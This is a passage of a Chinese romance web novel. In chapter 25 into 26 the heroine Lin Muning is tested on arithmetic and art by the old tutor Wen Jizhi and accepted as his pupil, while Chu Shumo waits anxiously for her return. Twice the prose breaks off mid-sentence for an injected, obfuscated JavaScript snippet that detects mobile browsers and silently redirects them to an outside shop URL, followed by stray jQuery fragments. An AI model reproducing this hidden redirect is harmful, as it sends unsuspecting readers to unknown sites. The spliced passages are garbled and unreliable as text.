沈氏走在最前头，一进门便含笑行礼：“闻老先生，叨扰了。”她今日穿了一身半新的藕荷色褙子，头上只簪了一支素银簪子，打扮得既体面又不张扬，显然是用了心思的。 闻济之微微颔首，算是还了礼。他的目光越过沈氏，落在她身后那个年轻姑娘身上。 林慕凝规规矩矩地站着，月白色的褙子，头发梳得整整齐齐，面上带着笑，不卑不亢。见闻济之看过来，她福了一礼，大大方方地唤了声：“闻老先生好。” 闻济之“嗯”了一声，没多说什么，只抬手做了个请的手势，将一行人让进了堂屋。 沈氏被让到客座上，周嬷嬷站在她身后。林慕凝没有坐，只站在沈氏身侧，安安静静的，两只手交握在身前，眼睛却不着痕迹地打量着这间屋子。 其实，自她踏入这个院子，便开始打量了。这院子虽在西山脚下的村落，但是布置得极是典雅，亭台楼榭，小桥流水，比京城褚家更有风味。很显然，这院子的主人是个有雅趣的。 堂屋里的陈设反倒简单。一张条案，两把太师椅，墙上挂着一幅山水画，画的是西山烟雨，笔墨淡远，倒像是随手涂的。条案上摆着一只青瓷小炉，里头燃着不知名的香，丝丝缕缕地飘出来，闻着清清凉凉的，叫人心里也跟着静下来。 闻济之在主位上坐下，端起茶盏抿了一口，这才不紧不慢地开口：“御史夫人在信里说，有个孩子想跟着我读几日书。” 沈氏忙笑着接话：“是，这是我家的一个晚辈，自小在乡下长大，没正经读过什么书。可她人极聪明，学什么都快。我寻思着，若能得老先生指点一二，是她的福气。” 闻济之听完，没有立刻接话，只端着茶盏，慢悠悠地吹了吹浮叶。他的目光从茶盏边缘抬起来，不着痕迹地在林慕凝身上扫了一圈。 乡下长大的？ 他放下茶盏，语气淡淡的：“叫什么名字？” “林慕凝。”她声音清清脆脆的。 “可读过什么书？” 这个问题，沈氏先前就替她担心过。来时的马车上，沈氏还特意提点她，说老太傅若问起学问，你照实说便是，不必藏着掖着，也不必夸大。林慕凝当时应得好好的，这会儿被问起来，倒是一点也不慌。 “《三字经》《百家姓》念过。《论语》念了一半，《孟子》翻了翻，没念完。”她顿了顿，又补充道，“是小时候我哥去学堂读书，我跟着在窗外听来的。哦，还有一些，是跟说书先生学的。” 闻济之的眉毛微微动了一下，也不知是意外还是觉得好笑。他端起茶盏，目光落在茶汤上，语气随意得像是在拉家常：“会算账吗？” 这话问得突然，沈氏微微一愣，周嬷嬷也露出几分意外之色。唯独林慕凝面色如常，甚至带了点笑意：“会的。在老家时，常帮邻里算些账目。家里头进项出项，也是我替母亲管的。” “哦？”闻济之放下茶盏，终于正眼看了她一回，“那你倒说说，一亩地种麦子，亩产三石，每石卖八钱银子，除去种子、肥料、人工各色成本共计一两二钱，最后能剩多少？” 沈氏的脸色微微变了。这哪里是考学问，分明是存心刁难。她正要开口替林慕凝解围，却见那姑娘已经歪着头算了起来。 “三石麦子，每石八钱，那就是二两四钱银子。”她嘴里念叨着，手指在袖子里头悄悄地掰，“减去一两二钱的成本……”她顿了顿，眼睛一亮，“剩一两二钱。” 闻济之面不改色，又追问道：“若遇荒年，亩产只有一石半，粮价涨到一两二钱一石，成本不变，又剩多少？” “一石半麦子，每石一两二钱，那是一两八钱银子。减去一两二钱成本……”林慕凝这次答得更快，几乎不假思索，“剩六钱。” 闻济之没有再问，端起茶盏又抿了一口。他面上淡淡的，看不出什么表情，可那双眼里的光却比方才亮了些。 “脑子倒是活络。”他慢悠悠地说了一句。 这话听着不像夸，可沈氏却暗暗松了口气。她正要趁势说几句好话，却见闻济之放下茶盏，目光又落在林慕凝身上。 “你方才进门的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399693|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一直在打量我这住处。说说，都瞧出什么来了？” 林慕凝一愣，没想到他会问这个。她回头看了一眼那幅山水画，想了想，老老实实地说：“院子好看，是有意布置过的，可又不让人觉得刻意，像是自然长成那个样子的。画嘛……”她歪着头想了想，“瞧着像是随便画的，墨色也不讲究，可越看越觉得好看。我瞧着瞧着，就觉得自个儿好像站在山顶上往下看似的，心里头忽然就静下来了。” 闻济之的目光微微一动。 他这幅画挂在堂屋里好些年，来来往往的人看了，有的夸笔法精妙，有的赞意境高远，还有些附庸风雅的，能对着这幅画说出一大篇道理来。可从来没有一个人说过“随便画的”三个字。 偏偏她说对了。 这幅画，本就是他那年刚到此处落脚时随手涂的，画完便丢在一旁，后来书童裱了挂上去，他也懒得多说什么。 “你怎么知道是随便画的？”他问，语气里多了几分认真。 林慕凝眨了眨眼，有些不好意思地笑了：“说不上来，就是瞧着觉得……随意又自在。那些规规矩矩的画，看着是好看，可总觉得板得很，像穿了新衣裳似的，哪儿哪儿都拘着。这幅不一样，像是穿着旧衣裳在家里头歪着，舒坦。” 堂屋里安静了一瞬。 沈氏提着心，不知道这话是说得太轻狂了，还是太实在了。周嬷嬷也紧张地拽紧了袖口。 闻济之沉默了好一会儿，忽然笑了。 “有趣，果真有趣。” 他这才开口问沈氏：“夫人家里是做什么的？” 沈氏提着的那颗心总算落回了实处。来之前御史夫人便提点过，说闻老先生若是问起家世，这事儿便有了七八分眉目。她强自镇定，端坐着，语气恭敬：“我夫家姓褚，单名一个淮字，现任江南巡抚。我儿褚序宸，忝居顺天府府尹之位。此外还有.......” “褚序宸？”闻济之听到这个名字，捋着胡须叹道：“呵呵，竟然是他。” 沈氏微微一怔，随即露出几分意外之色：“闻老先生也知道我儿？” “自然知道。”闻济之语气里带着几分真切的赞赏，“当得起‘年轻有为’四个字。令郎是历朝以来最年轻的状元，在任期间屡建奇功，破格升任三品府尹，此事当年朝野皆知，老夫虽已不在朝堂，也有所耳闻那。” 他顿了顿，目光中流露出几分惋惜：“我教了这么多年学生，竟没有一位能如令郎这般出色。说起来，倒真是羡慕国子监那帮人，能得这样的门生。” 这话说得恳切，沈氏听在耳中，心里不免泛起几分为人母的骄傲，面上却不敢显露，只谦逊道：“老先生过誉了，他不过是在其位谋其政罢了。” 闻济之摆了摆手，不置可否。他的目光越过沈氏，又落在林慕凝身上，眼底多了几分琢磨的意味。 “这就怪了，既然你未婚夫如此优秀，若想增长学问，让他指点便是，何苦大老远跑到我这山野老夫跟前来？” 26. 第二十六章 “闻老先生，您误会了。”沈氏脸色一晒，连忙做解释，“我还有一个儿子，是从宗室里过继来的，现在还在国子监读书，未有功名，慕凝是我这二儿子的未婚妻。” “哦？竟是这样，”闻济之思量片刻，问，“那令长子褚序宸，娶的是哪家的闺秀？” 沈氏又是一阵尴尬，在这山脚下的清凉之地，却感觉后背都要汗湿了。 “长子还未定亲。他一心为公，心思不放在婚事上，我这个做母亲的，也说不得的。”说完，颇为无奈地笑了笑。 闻济之“哦”了一声，若有所思地点点头，没有再追问。他端起茶盏，慢慢抿了一口，目光却透过茶盏的边缘，不动声色地看了林慕凝一眼。 他想起几年前在城里给御史家女儿授课时，偶然听过的传闻。那时褚序宸刚中了状元，正是最风光的时候，京城里多少官家都眼巴巴地盯着这个新科状元，想把女儿嫁过去。可后来不知怎的，传出他自幼便定了亲事，只等那女郎到了年纪便娶进门。 一晃几年过去，如今他亲眼见到这家人，却发现事情与传闻大相径庭。 聪明如他，自然一下子就想明白了这里头的官司。他教书几十年，见过的人情冷暖多了去了，这种移花接木的事，虽不常见，却也不算稀奇。那褚序宸是人中龙凤，十几岁就出人头地，处处出尽了风头，享尽了赞誉。看不上这门第出门都不如他的未婚妻，也在情理之中。 他暗暗叹了口气，到底还是年轻啊。家世背景固然重要，却不是评判人的唯一标准。况且这位林姑娘聪慧异常，又天真直率，不固守成规，实在难能可贵。若非是女儿身，这般七窍玲珑之人，若是男子，未必比他褚序宸差啊。 罢了，他不过是个教书的，旁人姻缘如何，他可管不着。 他目光重又落到林慕凝身上，说道：“你脑子活络，心思通透，是个可造之材。老夫这把老骨头，闲着也是闲着，教一教也无妨。” 沈氏大喜，连忙起身道谢：“多谢老先生！慕凝，快给老师敬茶。” 林慕凝接过书童递过来的茶盏，恭恭敬敬地鞠了一躬，双手捧着茶盏举过头顶：“老师放心，我一定好好学！” 闻济之摆了摆手，淡淡道：“先别忙着谢。老夫教书有个规矩，每半月授课一次，其余时间学生自己读书。每次授课，老夫要考问前次所学，答不上来的，便不用再来了。” “学生知道了！”林慕凝应得干脆利落，眉眼间不见半分畏难，倒像是被激起了兴致。 闻济之“嗯”了一声，端过茶盏，低头抿了口茶，将茶盏搁下。 “你明年便要成婚，在我这里也学不了多少日子。城里那宅子我便不去了，劳烦你每月跑两趟罢。” 林慕凝笑得眉眼弯弯：“不劳烦，不劳烦！便是再多几日，我也愿意来的。” 闻济之朝书童抬了抬下巴，示意送客，又叮嘱道：“二十再来罢。回去先把《论语》读完，试着写一篇文章，下次来的时候拿给我看。” 林慕凝暗暗算了算日子，今日是初八，到二十也就满打满算十一日，读完一本书，还要写文章。这老师，果真是严厉啊。 闻济之看出了她的心思：“读不完也没关系，但是文章也要好好写。有没有用心我一看便知。另外，给你一本书看，这个不做要求，有时间先翻一翻，若有什么心得，下次来的时候也可以说一说。”他顿了顿，又朝书童吩咐道，“去把架上那本《算术》拿来。” 书童应声去了，不多时便捧着一本册子回来。闻济之接过来，递给林慕凝：“这个给你，有时间便翻一翻。若有什么心得，下次来的时候也可以说一说。” 林慕凝双手接过，低头一看，封面上工工整整写着“算术”二字。这还是她头一回见到跟算账有关的书，小心翼翼翻开一页，指尖抚过泛黄的书页，眼里亮晶晶的，珍惜得很。 “多谢老师！”她将书揣进怀里，像是得了什么宝贝似的。 * 从西山回来的路上，林慕凝一直在翻看那本《算术》，马车摇摇晃晃的，光线也暗，她却浑然不觉，时不时伸出食指在车厢壁上写写画画。 沈氏看着她，极是欣慰。来之前做过预设，若是这次闻老先生没同意，那就过段日子再来一次，实在不行，就换个人教。她怎么都没想到，慕凝这么争气，一下子就被闻老看中了。 周嬷嬷也是满脸堆笑，看着这个林姑娘，怎么看怎么喜欢。她轻声对沈氏道：“夫人这下可放心了。老奴瞧着，林姑娘是个有福气的。” 沈氏点了点头。 柳莺儿不知什么时候跑到车厢边上，一只手扒着车帘子，半个身子探进去，正跟来喜绘声绘色地讲着方才在闻老先生家中的事。 “我就说林姑娘行！”来喜嘿嘿笑了两声，语气里带出几分与有荣焉的得意，“我们公子还不放心来着，非要让我跟着来瞧瞧。等公子回来，我头一个把这好消息告诉他。满京城多少公子贵女想请闻老先生指点一二都请不着，咱们林姑娘头一回就入了老先生的眼，这不是本事是什么？” 柳莺儿听得心花怒放，脸上笑开了花，嘴上却还要谦虚两句：“那是，我们姑娘本来就不差。也就是你们公子……” 她话说到一半，猛地惊觉老夫人还在车里，忙收住了话尾，讪讪地笑了笑，又补了一句，“等二公子回来，我也要告诉他这个好消息。二公子一准替咱们姑娘高兴。” 来喜知道她那没说出口的半截话是什么意思，尴尬地笑了笑，没有接茬。 跟林慕凝接触的这几次，来喜觉得她是个极好的人。性子爽利，待人真诚，没有那些弯弯绕绕的心思。可就是出身差了些，若非如此，和大公子倒真是一对璧人。 天色渐渐暗了，褚书墨从国子监回来，刚进门就听说老夫人带着林慕凝去西山拜见前朝太傅了。 他连饭都没顾上吃，把书袋往石头手里一塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409970|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，转身就往外走，在门口一站就是大半个时辰。 石头跟在后头，急得直搓手：“二公子，您先进去用口饭吧，老夫人她们还不知什么时候回来呢。” 褚书墨摇了摇头，眼睛一直望着巷子口的方向。 这比他自己第一次去国子监见老师时还要紧张。他比这家里任何人都明白这种心情。 林慕凝来了这几日，他没问过她都学过什么，想来在乡下那样的环境，应当是没机会读书的。能识字就已然不错了。 这一去，怕是失败的可能性更高。他来回踱着步子，心里慌乱得不行。盘算着，若是没被看中，该说些什么安慰林慕凝。可他从未有过安慰人的经验，反复在心里措辞，练习了一遍又一遍。 一想到那张明媚的笑脸因此染上了愁绪，他就烦闷得不行。 褚书墨忽然意识到一个问题，他问石头：“怎么忽然要去给林姑娘请老师？” 石头如实回答：“听说是大公子的主意，说林姑娘将来要嫁进褚家，少不了和那些官家女子打交道，要学些东西的。” 褚书墨沉默了片刻，嘟囔了一句：“若她不愿去跟那些人打交道，不去便是了。” 这话说得极轻，像是说给自己听的。石头没听清，凑近了问：“公子说什么？” 褚书墨摇了摇头，正要开口，石头忽然喊了一声：“二公子，回来了！老夫人和林姑娘回来了！” 褚书墨循声望去，看到了巷子口拐进来的马车，他小跑两步上前，看着来喜跳下马车，喊了他一句：“二公子，您怎么在这等着呢？” 褚书墨有些诧异：“你怎么也在？兄长他？”他探头往车厢里看。 “是大公子让小的跟着去的，怕林姑娘受了冷落。”来喜笑嘻嘻地解释。 “哦。”褚书墨心里闪过一丝说不清的滋味，顾不上细想，上前去扶要下车的林慕凝。 谁知林慕凝没搭手，直接跳了下来，神情里看不出不高兴。 “二公子，你在等我们吗？” “啊。”褚书墨想问又不敢问，怕林慕凝的笑脸是伪装的。 见沈氏探出头，他又赶忙去扶沈氏，沈氏见是他，话就憋不住了。 “书墨啊，有个好消息告诉你。今儿啊，慕凝可出息了，那闻老先生很喜欢她，答应了要收她做学生呢。” “真的？”褚书墨没想到会是这样，兴奋之情溢于言表，再次看向林慕凝时，满是惊喜和欣赏。 沈氏边走边说：“这闻老先生看的是眼缘，咱们家慕凝聪明喜人，这一趟算是没白去，早上走时，你兄长还挤兑我们，哼，等他回来，让他惊掉下巴！” 褚书墨已经听不到沈氏后面说的话了，一直看着林慕凝的背影。 他嘴角微微弯着，真心替林慕凝开心。 她比他想象的还要出色。 他嘴角微微弯起来，心里头那点担忧散得干干净净，只剩下满满的欢喜。